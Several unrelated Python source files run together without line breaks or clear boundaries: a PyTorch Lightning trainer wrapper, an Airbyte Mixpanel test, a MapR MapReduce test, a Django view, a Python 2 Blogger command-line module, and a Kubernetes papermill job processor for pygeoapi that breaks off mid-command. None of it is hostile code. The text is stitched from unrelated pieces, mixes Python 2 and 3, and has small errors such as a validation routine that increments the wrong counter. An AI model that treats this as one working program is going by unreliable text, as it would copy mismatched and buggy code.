has to contain 'train', 'val' and optionally a 'test'. optimizers (list of/or torch.optim.Optimizer): optimizer/s adopted. metrics (dict): additional metrics to compute apart from the loss. Defaults to None. batch_fn (function): a function to preprocess the batch. Defaults to None, the identity. training_log_interval (int): number of training steps for logging. Defaults to 100. tracker_type (str): type of tracker. Defaults to 'logging'. """ super(Brontes, self).__init__() self.model = model self.loss = loss self.data_loaders = data_loaders self.tracker = TRACKER_FACTORY.get( tracker_type, TRACKER_FACTORY['logging'] )() # make sure we have the needed data loaders. if not ('train' in self.data_loaders and 'val' in self.data_loaders): raise RuntimeError( 'Argument "data_loaders" must contain ' 'both "train" and "val" keys.' ) self.optimizers = optimizers if metrics is None: self.metrics = {} else: self.metrics = metrics if batch_fn is not None: self.batch_fn = batch_fn else: self.batch_fn = lambda x: x self.training_log_interval = training_log_interval self.training_step_count = 0 self.validation_step_count = 0 self.validation_end_count = 0 def forward(self, x): """ Forward pass in the model. Args: x (torch.tensor): a tensor. Returns: a torch.tensor. """ return self.model.forward(x) def training_step(self, batch, batch_nb): """ Training step. Args: batch (tuple): a tuple containing x and y. batch_nb (int): integer representing the batch number. Returns: a dict containing the loss and, optionally, additional metrics. """ x, y = self.batch_fn(batch) out = self.forward(x) training_dict = { 'loss': self.loss(out, y) } for name, metric in self.metrics.items(): training_dict[name] = metric(out, y) if batch_nb % self.training_log_interval == 0: self.tracker.log_tensor_dict( training_dict, step=self.training_step_count ) self.training_step_count += 1 return training_dict def validation_step(self, batch, batch_nb): """ Validation step. Args: batch (tuple): a tuple containing x and y. batch_nb (int): integer representing the batch number. Returns: a dict containing the loss and, optionally, additional metrics. """ t_step = self.training_step(batch, batch_nb) if self.metrics is None: validation_dict = { f'val_{name}': value for name, value in t_step.items() } else: validation_dict = {} for name, metric in t_step.items(): validation_dict[f'val_{name}'] = metric self.tracker.log_tensor_dict( validation_dict, step=self.validation_step_count ) self.validation_step_count += 1 return validation_dict def validation_end(self, outputs): """ Validation end. Args: outputs (iterable): an iterable containing results. Returns: a dict containing the loss and, optionally, additional metrics averaged over the results. """ names = ['val_loss'] + [f'val_{name}' for name in self.metrics.keys()] validation_end_dict = { f'avg_{name}': torch.stack([x[name] for x in outputs]).mean() for name in names } self.tracker.log_tensor_dict( validation_end_dict, step=self.validation_end_count ) self.validation_step_count += 1 return validation_end_dict def configure_optimizers(self): """ Return the optimizers. Returns: optimizer/s adopted. """ return self.optimizers @pl.data_loader def tng_dataloader(self): """ Training DataLoader. Returns: a torch.utils.data.DataLoader. """ return self.data_loaders['train'] @pl.data_loader def val_dataloader(self): """ Validation DataLoader. Returns: a torch.utils.data.DataLoader. """ return self.data_loaders['val'] @pl.data_loader def test_dataloader(self): """ Test DataLoader. Returns: a torch.utils.data.DataLoader. In case 'test' isn't a key of self.data_loaders, the validation one is returned. """ return self.data_loaders.get('test', self.data_loaders['val']) # # MIT License # # Copyright (c) 2020 Airbyte # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # from datetime import date, timedelta from airbyte_cdk.sources.streams.http.auth import NoAuth from source_mixpanel.source import Annotations def test_date_slices(): now = date.today() # Test with start_date now range stream_slices = Annotations(authenticator=NoAuth(), start_date=now, end_date=now, date_window_size=1, region="EU").stream_slices( sync_mode="any" ) assert 1 == len(stream_slices) stream_slices = Annotations( authenticator=NoAuth(), start_date=now - timedelta(days=1), end_date=now, date_window_size=1, region="US" ).stream_slices(sync_mode="any") assert 2 == len(stream_slices) stream_slices = Annotations(authenticator=NoAuth(), start_date=now - timedelta(days=2), end_date=now, date_window_size=1).stream_slices( sync_mode="any" ) assert 3 == len(stream_slices) stream_slices = Annotations( authenticator=NoAuth(), start_date=now - timedelta(days=2), end_date=now, date_window_size=10 ).stream_slices(sync_mode="any") assert 1 == len(stream_slices) # test with attribution_window stream_slices = Annotations( authenticator=NoAuth(), start_date=now - timedelta(days=2), end_date=now, date_window_size=1, attribution_window=5, region="US", ).stream_slices(sync_mode="any") assert 8 == len(stream_slices) # Test with start_date end_date range stream_slices = Annotations( authenticator=NoAuth(), start_date=date.fromisoformat("2021-07-01"), end_date=date.fromisoformat("2021-07-01"), date_window_size=1, region="US", ).stream_slices(sync_mode="any") assert [{"start_date": "2021-07-01", "end_date": "2021-07-01"}] == stream_slices stream_slices = Annotations( authenticator=NoAuth(), start_date=date.fromisoformat("2021-07-01"), end_date=date.fromisoformat("2021-07-02"), date_window_size=1, region="EU", ).stream_slices(sync_mode="any") assert [{"start_date": "2021-07-01", "end_date": "2021-07-01"}, {"start_date": "2021-07-02", "end_date": "2021-07-02"}] == stream_slices stream_slices = Annotations( authenticator=NoAuth(), start_date=date.fromisoformat("2021-07-01"), end_date=date.fromisoformat("2021-07-03"), date_window_size=1, region="US", ).stream_slices(sync_mode="any") assert [ {"start_date": "2021-07-01", "end_date": "2021-07-01"}, {"start_date": "2021-07-02", "end_date": "2021-07-02"}, {"start_date": "2021-07-03", "end_date": "2021-07-03"}, ] == stream_slices stream_slices = Annotations( authenticator=NoAuth(), start_date=date.fromisoformat("2021-07-01"), end_date=date.fromisoformat("2021-07-03"), date_window_size=2, region="US", ).stream_slices(sync_mode="any") assert [{"start_date": "2021-07-01", "end_date": "2021-07-02"}, {"start_date": "2021-07-03", "end_date": "2021-07-03"}] == stream_slices # test with stream_state stream_slices = Annotations( authenticator=NoAuth(), start_date=date.fromisoformat("2021-07-01"), end_date=date.fromisoformat("2021-07-03"), date_window_size=1, ).stream_slices(sync_mode="any", stream_state={"date": "2021-07-02"}) assert [{"start_date": "2021-07-02", "end_date": "2021-07-02"}, {"start_date": "2021-07-03", "end_date": "2021-07-03"}] == stream_slices lucmichalski/kube-vproxy1-10 #!/usr/bin/python import os from snap.pyglog import * from snap.deluge import mr from snap.pert import py_pert import time def CreateTestData(uri): writer = py_pert.StringTableWriter() writer.Open(uri, 4) num_entries = 10000 for i in range(num_entries): d = '%05d' % i writer.Add(d,d) writer.Close() reader = py_pert.StringTableReader() CHECK(reader.Open(uri)) CHECK_EQ(reader.Entries(), num_entries) reader.Close() return def main(): test_data_uri = 'maprfs://data/test/test.pert'; CreateTestData(test_data_uri) secondary_data_uri = 'maprfs://data/test/secondary.pert'; CreateTestData(secondary_data_uri) uris_to_cache = 'maprfs://data/test/secondary.pert'; pipes_binary = '%s/%s' % (os.path.abspath(os.path.dirname(__file__)), 'mr_mapr_distributed_cache') input_uri = test_data_uri output_uri = 'maprfs://data/test/test_out.pert'; num_map_jobs = 2 num_reduce_jobs = 3 output_is_sorted = True parameters = { 'secondary_input_uri': secondary_data_uri } mr_driver = mr.MapReduceDriverMaprCache(pipes_binary, input_uri, output_uri, num_map_jobs, num_reduce_jobs, output_is_sorted, parameters, uris_to_cache ) CHECK(mr_driver.Run()) return if __name__ == "__main__": main() Jonathan56/CyDER from django.shortcuts import render from django.contrib.auth.decorators import login_required # Create your views here. @login_required def model_viewer(request, modelname = ''): return render(request, 'cyder/models/viewer.html', {'modelname': modelname}) from unittest import TestCase import pte class TestFunctionToTest(TestCase): def test_function_to_test(self): r = pte.todo_function_to_test(1, 2) print('Result=', r) assert r == 3 #def test_this_will_fail(self): # r = pte.todo_function_to_test(1, 2) # print('Result=', r) # assert r == 4# Copyright (C) 2010 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import googlecl import googlecl.base service_name = __name__.split('.')[-1] LOGGER_NAME = __name__ SECTION_HEADER = service_name.upper() def _map_access_string(access_string): """Map an access string to a value Blogger will understand. In this case, Blogger only cares about "is draft" so 'public' gets mapped to False, everything else to True. Returns: Boolean indicating True (is a draft) or False (is not a draft). """ if not access_string: return False if access_string == 'public': return False return True class BloggerEntryToStringWrapper(googlecl.base.BaseEntryToStringWrapper): @property def access(self): """Access level (draft or public).""" if self.entry.control and self.entry.control.draft.text == 'yes': return 'draft' else: return 'public' @property def author(self): """Author.""" # Name of author 'x' name is in entry.author[x].name.text text_extractor = lambda entry: getattr(getattr(entry, 'name'), 'text') return self._join(self.entry.author, text_extractor=text_extractor) @property def tags(self): return self.intra_property_delimiter.join( [c.term for c in self.entry.category if c.term]) labels = tags #=============================================================================== # Each of the following _run_* functions execute a particular task. # # Keyword arguments: # client: Client to the service being used. # options: Contains all attributes required to perform the task # args: Additional arguments passed in on the command line, may or may not be # required #=============================================================================== def _run_post(client, options, args): content_list = options.src + args entry_list = client.UploadPosts(content_list, blog_title=options.blog, post_title=options.title, is_draft=_map_access_string(options.access)) if options.tags: client.LabelPosts(entry_list, options.tags) def _run_delete(client, options, args): titles_list = googlecl.build_titles_list(options.title, args) post_entries = client.GetPosts(blog_title=options.blog, post_titles=titles_list) client.DeleteEntryList(post_entries, 'post', options.prompt) def _run_list(client, options, args): titles_list = googlecl.build_titles_list(options.title, args) entries = client.GetPosts(options.blog, titles_list, user_id=options.owner or 'default') for entry in entries: print googlecl.base.compile_entry_string( BloggerEntryToStringWrapper(entry), options.fields.split(','), delimiter=options.delimiter) def _run_tag(client, options, args): titles_list = googlecl.build_titles_list(options.title, args) entries = client.GetPosts(options.blog, titles_list) client.LabelPosts(entries, options.tags) TASKS = {'delete': googlecl.base.Task('Delete a post.', callback=_run_delete, required=['blog', 'title']), 'post': googlecl.base.Task('Post content.', callback=_run_post, required=['src', 'blog'], optional=['title', 'tags', 'access']), 'list': googlecl.base.Task('List posts in a blog', callback=_run_list, required=['fields', 'blog', 'delimiter'], optional=['title', 'owner']), 'tag': googlecl.base.Task('Label posts', callback=_run_tag, required=['blog', 'title', 'tags'])} # ================================================================= # # Authors: <> # # Copyright (C) 2020 EOX IT Services GmbH # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation # files (the "Software"), to deal in the Software without # restriction, including without limitation the rights to use, # copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following # conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES # OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT # HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, # WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR # OTHER DEALINGS IN THE SOFTWARE. # # ================================================================= from base64 import b64encode, b64decode from dataclasses import dataclass, field from datetime import datetime import functools import json import logging import mimetypes import operator from pathlib import PurePath, Path import os import re import time from pygeoapi.process.base import ProcessorExecuteError import scrapbook import scrapbook.scraps from typing import Dict, Iterable, Optional, List, Tuple, Any from typed_json_dataclass import TypedJsonMixin import urllib.parse from kubernetes import client as k8s_client from .kubernetes import ( JobDict, KubernetesProcessor, current_namespace, format_annotation_key, ) from .common import job_id_from_job_name LOGGER = logging.getLogger(__name__) #: Process metadata and description PROCESS_METADATA = { "version": "0.1.0", "id": "execute-notebook", "title": "notebooks on kubernetes with papermill", "description": "", "keywords": ["notebook"], "links": [ { "type": "text/html", "rel": "canonical", "title": "eurodatacube", "href": "https://eurodatacube.com", "hreflang": "en-US", } ], "inputs": [ { "id": "notebook", "title": "notebook file (path relative to home)", "abstract": "notebook file", "input": { "literalDataDomain": { "dataType": "string", "valueDefinition": {"anyValue": True}, } }, "minOccurs": 1, "maxOccurs": 1, "metadata": None, # TODO how to use? "keywords": [""], }, { "id": "parameters", "title": "parameters (base64 encoded yaml)", "abstract": "parameters for notebook execution.", "input": { "literalDataDomain": { "dataType": "string", "valueDefinition": {"anyValue": True}, } }, "minOccurs": 0, "maxOccurs": 1, "metadata": None, "keywords": [""], }, ], "outputs": [ { "id": "result_link", "title": "Link to result notebook", "description": "Link to result notebook", "output": {"formats": [{"mimeType": "text/plain"}]}, } ], "example": {}, } CONTAINER_HOME = Path("/home/jovyan") JOVIAN_UID = "1000" JOVIAN_GID = "100" S3_MOUNT_PATH = CONTAINER_HOME / "s3" # we wait for the s3 mount (couldn't think of something better than this): # * first mount point is emptyDir owned by root. # * then it will be chowned to user by s3fs bash script, and finally also chowned # to group by s3fs itself. # so when both uid and gid are set up, we should be good to go # however the mount may fail, in which case we don't want to wait forever, # so we count attempts S3_MOUNT_WAIT_CMD = ( "ATTEMPTS=0; " "while " f" [ \"$(stat -c '%u %g' '{S3_MOUNT_PATH}')\" != '{JOVIAN_UID} {JOVIAN_GID}' ] " " && [ $((ATTEMPTS++)) -lt 1000 ] " "; do echo 'wait for s3 mount'; sleep 0.05 ; done &&" ' echo "mount after $ATTEMPTS attempts" && ' ) # NOTE: git checkout container needs a dir for volume and a nested dir for checkout GIT_CHECKOUT_PATH = CONTAINER_HOME / "git" / "algorithm" # NOTE: this is not where we store result notebooks (job-output), but where the algorithms # should store their result data RESULT_DATA_PATH = PurePath("/home/jovyan/result-data") # this just needs to be any unique id JOB_RUNNER_GROUP_ID = 20200 @dataclass(frozen=True) class ExtraConfig: init_containers: List[k8s_client.V1Container] = field(default_factory=list) containers: List[k8s_client.V1Container] = field(default_factory=list) volume_mounts: List[k8s_client.V1VolumeMount] = field(default_factory=list) volumes: List[k8s_client.V1Volume] = field(default_factory=list) env_from: List[k8s_client.V1EnvFromSource] = field(default_factory=list) def __add__(self, other): return ExtraConfig( init_containers=self.init_containers + other.init_containers, containers=self.containers + other.containers, volume_mounts=self.volume_mounts + other.volume_mounts, volumes=self.volumes + other.volumes, env_from=self.env_from + other.env_from, ) @dataclass(frozen=True) class RequestParameters(TypedJsonMixin): notebook: PurePath kernel: Optional[str] = None image: Optional[str] = None output_filename: Optional[str] = None parameters: str = "" cpu_limit: Optional[str] = None mem_limit: Optional[str] = None cpu_requests: Optional[str] = None mem_requests: Optional[str] = None result_data_directory: Optional[str] = None git_revision: Optional[str] = None run_on_fargate: Optional[bool] = False @classmethod def from_dict(cls, data: dict) -> "RequestParameters": data_preprocessed: dict[str, Any] = { **data, "notebook": PurePath(data["notebook"]), } # translate from json to base64 if parameters_json := data_preprocessed.pop("parameters_json", None): data_preprocessed["parameters"] = b64encode( json.dumps(parameters_json).encode() ).decode() # don't use TypedJsonMixin.from_dict, return type is wrong return cls(**data_preprocessed) class PapermillNotebookKubernetesProcessor(KubernetesProcessor): def __init__(self, processor_def): super().__init__(processor_def, PROCESS_METADATA) # TODO: config file parsing (typed-json-dataclass? pydantic!) self.default_image: str = processor_def["default_image"] self.allowed_images_regex: str = processor_def["allowed_images_regex"] self.image_pull_secret: str = processor_def["image_pull_secret"] self.s3: Optional[Dict[str, str]] = processor_def.get("s3") self.home_volume_claim_name: str = processor_def["home_volume_claim_name"] self.extra_pvcs: List = processor_def["extra_pvcs"] self.jupyer_base_url: str = processor_def["jupyter_base_url"] self.output_directory: Path = Path(processor_def["output_directory"]) self.secrets = processor_def["secrets"] self.checkout_git_repo: Optional[Dict] = processor_def.get("checkout_git_repo") self.log_output: bool = processor_def["log_output"] self.node_purpose: str = processor_def["node_purpose"] self.tolerations: list = processor_def["tolerations"] self.job_service_account: str = processor_def["job_service_account"] self.allow_fargate: bool = processor_def["allow_fargate"] self.auto_mount_secrets: bool = processor_def["auto_mount_secrets"] def create_job_pod_spec( self, data: Dict, job_name: str, ) -> KubernetesProcessor.JobPodSpec: LOGGER.debug("Starting job with data %s", data) try: requested = RequestParameters.from_dict(data) except (TypeError, KeyError) as e: raise ProcessorExecuteError(str(e)) from e image = self._image(requested.image) image_name = image.split(":")[0] is_gpu = "jupyter-user-g" in image_name is_edc = "eurodatacube" in image_name and "jupyter-user" in image_name kernel = requested.kernel or default_kernel(is_gpu=is_gpu, is_edc=is_edc) output_filename_validated = PurePath( requested.output_filename if requested.output_filename else default_output_path( str(requested.notebook), job_id=job_id_from_job_name(job_name), ) ).name output_notebook = setup_output_notebook( output_directory=self.output_directory, output_notebook_filename=output_filename_validated, ) extra_podspec: dict[str, Any] = { "tolerations": [ k8s_client.V1Toleration(**toleration) for toleration in self.tolerations ] + ( [ k8s_client.V1Toleration( key="hub.eox.at/gpu", operator="Exists", effect="NoSchedule" ) ] if is_gpu else [] ) } if node_purpose := self.node_purpose or ("g2" if is_gpu else None): extra_podspec["affinity"] = affinity(node_purpose=node_purpose) if self.image_pull_secret: extra_podspec["image_pull_secrets"] = [ k8s_client.V1LocalObjectReference(name=self.image_pull_secret) ] extra_config = self._extra_configs(git_revision=requested.git_revision) notebook_container = k8s_client.V1Container( name="notebook", image=image, command=[ "bash", # NOTE: we pretend that the shell is interactive such that it # sources /etc/bash.bashrc which activates the default conda # env. This is ok because the default interactive shell must # have PATH set up to include papermill since regular user # should also be able to execute default env commands without extra # setup "-i", "-c", (S3_MOUNT_WAIT_CMD if self.s3 else "") + ( setup_results_dir_cmd(requested.result_data_directory, job_name) if requested.result_data_directory else "" ) + # TODO: weird bug: removing this ls results in a PermissionError when # papermill later writes to the file. This only happens sometimes, # but when it occurs, it does so consistently. I'm leaving that in # for now since that command doesn't do any harm. # (it will be a problem if there are ever a lot of output files, # especially on s3fs) f"ls -la {self.output_directory} >/dev/null && " f"papermill " f'"{requested.notebook}" ' f'"{output_notebook}" ' "--engine kubernetes_job_progress " "--request-save-on-cell-execute " f'--cwd "{working_dir(requested.notebook)}" ' + ("--log-output " if self.log_output else "") + (f"-k {kernel} " if kernel else "") + (f'-b "{requested.parameters}" ' if requested.parameters else ""), ], working_dir=str(CONTAINER_HOME), volume_mounts=extra_config.volume_mounts, resources=_resource_requirements(requested), env=[ # this is provided in jupyter worker containers and we also use it # for compatibility checks k8s_client.V1EnvVar(name="JUPYTER_IMAGE", value=image), k8s_client.V1EnvVar(name="JOB_NAME", value=job_name), k8s_client.V1EnvVar( name="PROGRESS_ANNOTATION", value=format_annotation_key("progress") ), ], env_from=extra_config.env_from, ) # NOTE: this link currently doesn't work (even those created in # the ui with "create sharable link" don't) # there is a recently closed issue about it: # https://github.com/jupyterlab/jupyterlab/issues/8359 # it doesn't say when it was fixed exactly. there's a possibly # related fix from last year: # https://github.com/jupyterlab/jupyterlab/pull/6773 result_link = ( f"{self.jupyer_base_url}/hub/user-redirect/lab/tree/" + urllib.parse.quote(str(output_notebook.relative_to(CONTAINER_HOME))) ) # save parameters but make sure the string is not too long extra_annotations = { "parameters": b64decode(requested.parameters).decode()[:8000], "result-link": result_link, "result-notebook": str(output_notebook), } return KubernetesProcessor.JobPodSpec( pod_spec=k8s_client.V1PodSpec( restart_policy="Never", # NOTE: first container is used for status check containers=[notebook_container] + extra_config.containers, init_containers=extra_config.init_containers, volumes=extra_config.volumes, # we need this to be able to terminate the sidecar container # https://github.com/kubernetes/kubernetes/issues/25908 share_process_namespace=True, service_account=self.job_service_account, security_context=k8s_client.V1PodSecurityContext( supplemental_groups=[JOB_RUNNER_GROUP_ID] ), **extra_podspec, enable_service_links=False, ), extra_annotations=extra_annotations, extra_labels=self._extra_labels(run_on_fargate=requested.run_on_fargate), ) def _extra_configs(self, git_revision: Optional[str]) -> ExtraConfig: def extra_configs() -> Iterable[ExtraConfig]: if self.home_volume_claim_name: yield home_volume_config(self.home_volume_claim_name) yield from ( extra_pvc_config(extra_pvc={**extra_pvc, "num": num}) for num, extra_pvc in enumerate(self.extra_pvcs) ) if self.s3: yield s3_config( bucket_name=self.s3["bucket_name"], secret_name=self.s3["secret_name"], s3_url=self.s3["s3_url"], ) access_functions = { "env": extra_secret_env_config, "mount": extra_secret_mount_config, } for num, secret in enumerate(self.secrets): access_fun = access_functions[secret.get("access", "mount")] yield access_fun(secret_name=secret["name"], num=num) if self.auto_mount_secrets: yield extra_auto_secrets() if self.checkout_git_repo: yield git_checkout_config( git_revision=git_revision, **self.checkout_git_repo, ) return functools.reduce(operator.add, extra_configs(), ExtraConfig()) def _extra_labels(self, run_on_fargate: Optional[bool]) -> Dict: if run_on_fargate: if not self.allow_fargate: raise RuntimeError("run_on_fargate is not allowed on this pygeoapi") else: return {"runtime": "fargate"} else: return {} def _image(self, requested_image: Optional[str]) -> str: image = requested_image or self.default_image if self.allowed_images_regex: if not re.fullmatch(self.allowed_images_regex, image): msg = f"Image {image} is not allowed, only {self.allowed_images_regex}" raise RuntimeError(msg) return image def __repr__(self): return " {}".format(self.name) def notebook_job_output(result: JobDict) -> Tuple[Optional[str], Any]: # NOTE: this assumes that we have user home under the same path as jupyter notebook_path = Path(result["result-notebook"]) _wait_for_result_file(notebook_path) scraps = scrapbook.read_notebook(str(notebook_path)).scraps LOGGER.debug("Retrieved scraps from notebook: %s", scraps) if not scraps: return (None, {"result-link": result["result-link"]}) elif result_file_scrap := scraps.get("result-file"): # if available, prefer file output specified_path = Path(result_file_scrap.data) result_file_path = ( specified_path if specified_path.is_absolute() else CONTAINER_HOME / specified_path ) # NOTE: use python-magic or something more advanced if necessary mime_type = mimetypes.guess_type(result_file_path)[0] return (mime_type, result_file_path.read_bytes()) elif len(scraps) == 1: # if there's only one item, return it right away with correct content type. # this way, you can show e.g. an image in the browser. # otherwise, we just return the scrap structure return serialize_single_scrap(next(iter(scraps.values()))) else: # TODO: support serializing multiple scraps, possibly according to result schema: # https://github.com/opengeospatial/wps-rest-binding/blob/master/core/openapi/schemas/result.yaml return serialize_single_scrap(next(iter(scraps.values()))) def _wait_for_result_file(notebook_path: Path) -> None: # If the result file is queried immediately after the job has finished, it's likely # that the s3fs mount has not yet received the changes that were written by the job. # So instead of failing right away here, we detect the situation and wait. for _ in range(20): # NOTE: s3fs will only be refreshed on operations such as these. However # the refresh takes some time, which is ok here because we will catch it # in a subsequent loop run notebook_path.open().close() if notebook_path.stat().st_size != 0: LOGGER.info("Result file present") break else: LOGGER.info("Waiting for result file") time.sleep(1) def serialize_single_scrap(scrap: scrapbook.scraps.Scrap) -> Tuple[Optional[str], Any]: text_mime = "text/plain" if scrap.display: # we're only interested in display_data # https://ipython.org/ipython-doc/dev/notebook/nbformat.html#display-data if scrap.display["output_type"] == "display_data": # data contains representations with different mime types as keys. we # want to prefer non-text mime_type = next( (f for f in scrap.display["data"] if f != text_mime), text_mime, ) item = scrap.display["data"][mime_type] encoded_output = item if mime_type == text_mime else b64decode(item) return (mime_type, encoded_output) else: return None, scrap.display else: return None, scrap.data def default_output_path(notebook_path: str, job_id: str) -> str: filename_without_postfix = re.sub(".ipynb$", "", notebook_path) now_formatted = datetime.now().strftime("%Y%m%d-%H%M%S-%f") return filename_without_postfix + f"_result_{now_formatted}_{job_id}.ipynb" def setup_output_notebook( output_directory: Path, output_notebook_filename: str, ) -> Path: output_notebook = output_directory / output_notebook_filename # create output directory owned by root (readable, but not changeable by user) output_directory.mkdir(exist_ok=True, parents=True) # create file owned by root but group is job runner group. # this way we can execute the job with the jovyan user with the additional group, # which the actual user (as in human) in jupyterlab does not have. output_notebook.touch(exist_ok=False) # TODO: reasonable error when output notebook already exists os.chown(output_notebook, uid=0, gid=JOB_RUNNER_GROUP_ID) os.chmod(output_notebook, mode=0o664) return output_notebook def working_dir(notebook_path: PurePath) -> PurePath: abs_notebook_path = ( notebook_path if notebook_path.is_absolute() else (CONTAINER_HOME / notebook_path) ) return abs_notebook_path.parent def _resource_requirements(requested: RequestParameters): return k8s_client.V1ResourceRequirements( limits=drop_none_values( { "cpu": requested.cpu_limit, "memory": requested.mem_limit, } ), requests=drop_none_values( { "cpu": requested.cpu_requests, "memory": requested.mem_requests, } ), ) def gpu_extra_podspec() -> Dict: node_selector = k8s_client.V1NodeSelector( node_selector_terms=[ k8s_client.V1NodeSelectorTerm( match_expressions=[ k8s_client.V1NodeSelectorRequirement( key="hub.eox.at/node-purpose", operator="In", values=["g2"], ), ] ) ] ) return { "affinity": k8s_client.V1Affinity( node_affinity=k8s_client.V1NodeAffinity( required_during_scheduling_ignored_during_execution=node_selector ) ), "tolerations": [ k8s_client.V1Toleration( key="hub.eox.at/gpu", operator="Exists", effect="NoSchedule" ) ], } def home_volume_config(home_volume_claim_name: str) -> ExtraConfig: return ExtraConfig( volumes=[ k8s_client.V1Volume( persistent_volume_claim=k8s_client.V1PersistentVolumeClaimVolumeSource( claim_name=home_volume_claim_name, ), name="home", ) ], volume_mounts=[ k8s_client.V1VolumeMount( mount_path=str(CONTAINER_HOME), name="home", ) ], ) def extra_pvc_config(extra_pvc: Dict) -> ExtraConfig: extra_name = f"extra-{extra_pvc['num']}" return ExtraConfig( volumes=[ k8s_client.V1Volume( persistent_volume_claim=k8s_client.V1PersistentVolumeClaimVolumeSource( claim_name=extra_pvc["claim_name"], ), name=extra_name, ) ], volume_mounts=[ k8s_client.V1VolumeMount( mount_path=extra_pvc["mount_path"], name=extra_name, sub_path=extra_pvc.get("sub_path"), ) ], ) def extra_secret_mount_config(secret_name: str, num: int) -> ExtraConfig: volume_name = f"secret-{num}" return ExtraConfig( volumes=[ k8s_client.V1Volume( secret=k8s_client.V1SecretVolumeSource(secret_name=secret_name), name=volume_name, ) ], volume_mounts=[ k8s_client.V1VolumeMount( mount_path=str(PurePath("/secret") / secret_name), name=volume_name, ) ], ) def extra_secret_env_config(secret_name: str, num: int) -> ExtraConfig: return ExtraConfig( env_from=[ k8s_client.V1EnvFromSource( secret_ref=k8s_client.V1SecretEnvSource(name=secret_name) ) ] ) def extra_auto_secrets() -> ExtraConfig: secrets: k8s_client.V1SecretList = k8s_client.CoreV1Api().list_namespaced_secret( namespace=current_namespace() ) # yield eurodatacube and edc-my-credentials secrets, just as jupyterlab edc_regex = r"eurodatacube-.*default" edc_my_credentials_label = ("owner", "edc-my-credentials") return ExtraConfig( env_from=[ k8s_client.V1EnvFromSource( secret_ref=k8s_client.V1SecretEnvSource(name=secret.metadata.name) ) for secret in secrets.items if re.fullmatch(edc_regex, secret.metadata.name) or (secret.metadata.labels or {}).get(edc_my_credentials_label[0]) == edc_my_credentials_label[1] ] ) def git_checkout_config( url: str, secret_name: str, git_revision: Optional[str] ) -> ExtraConfig: # compat for old python def removeprefix(self, prefix: str) -> str: if self.startswith(prefix): return self[len(prefix):] else: return self[:] git_sync_mount_name = "git-sync-mount" git_sync_mount_path = "/tmp/git" git_sync_target_path = f"{git_sync_mount_path}/{GIT_CHECKOUT_PATH.name}" init_container = k8s_client.V1Container( name="git", image="alpine/git:v2.30.2", volume_mounts=[ k8s_client.V1VolumeMount( name=git_sync_mount_name, mount_path=git_sync_mount_path, ), ], env=[ k8s_client.V1EnvVar( name="GIT_USERNAME", value_from=k8s_client.V1EnvVarSource( secret_key_ref=k8s_client.V1SecretKeySelector( name=secret_name, key="username", ), ), ), k8s_client.V1EnvVar( name="GIT_PASSWORD", value_from=k8s_client.V1EnvVarSource( secret_key_ref=k8s_client.V1SecretKeySelector( name=secret_name, key="password", ), ), ), ] + ( [k8s_client.V1EnvVar(name="GIT_SYNC_REV", value=git_revision)] if git_revision else [] ), command=[ "sh", "-c", "git clone " f"https://${{GIT_USERNAME}}:${{GIT_PASSWORD}}@{removeprefix(url, 'https://')}" f" \"{git_sync_target_path}\" " + ( "" if not git_revision else f" && cd \"{git_sync_target_path}\" && git checkout " + git_revision ) ], security_context=k8s_client.V1SecurityContext( run_as_user=int(JOVIAN_UID), run_as_group=int(JOVIAN_GID), ), ) return ExtraConfig( init_containers=[init_container], volume_mounts=[ k8s_client.V1VolumeMount( mount_path=str(GIT_CHECKOUT_PATH.parent), name=git_sync_mount_name, ) ], volumes=[ k8s_client.V1Volume( name=git_sync_mount_name, empty_dir=k8s_client.V1EmptyDirVolumeSource(), ) ], ) def s3_config(bucket_name, secret_name, s3_url) -> ExtraConfig: s3_user_bucket_volume_name = "s3-user-bucket" return ExtraConfig( volume_mounts=[ k8s_client.V1VolumeMount( mount_path=str(S3_MOUNT_PATH), name=s3_user_bucket_volume_name, mount_propagation="HostToContainer", ) ], volumes=[ k8s_client.V1Volume( name=s3_user_bucket_volume_name, empty_dir=k8s_client.V1EmptyDirVolumeSource(), ) ], containers=[ k8s_client.V1Container( name="s3mounter", image="totycro/s3fs:0.6.0-1.86", # we need to detect the end of the job here, this container # must end for the job to be considered done by k8s # this is a missing feature in k8s: # https://github.com/kubernetes/enhancements/issues/753 args=[ "sh", "-c", 'echo "`date` waiting for job start"; ' # first we wait 3 seconds because we might start before papermill 'sleep 3; echo "`date` job start assumed"; ' # we can't just check for papermill, because an `ls` happens before, # which in extreme cases can take seconds. so we check for bash, # because the s3fs container doesn't have that and we use that # in the other container. this is far from perfect. "while pgrep -x bash 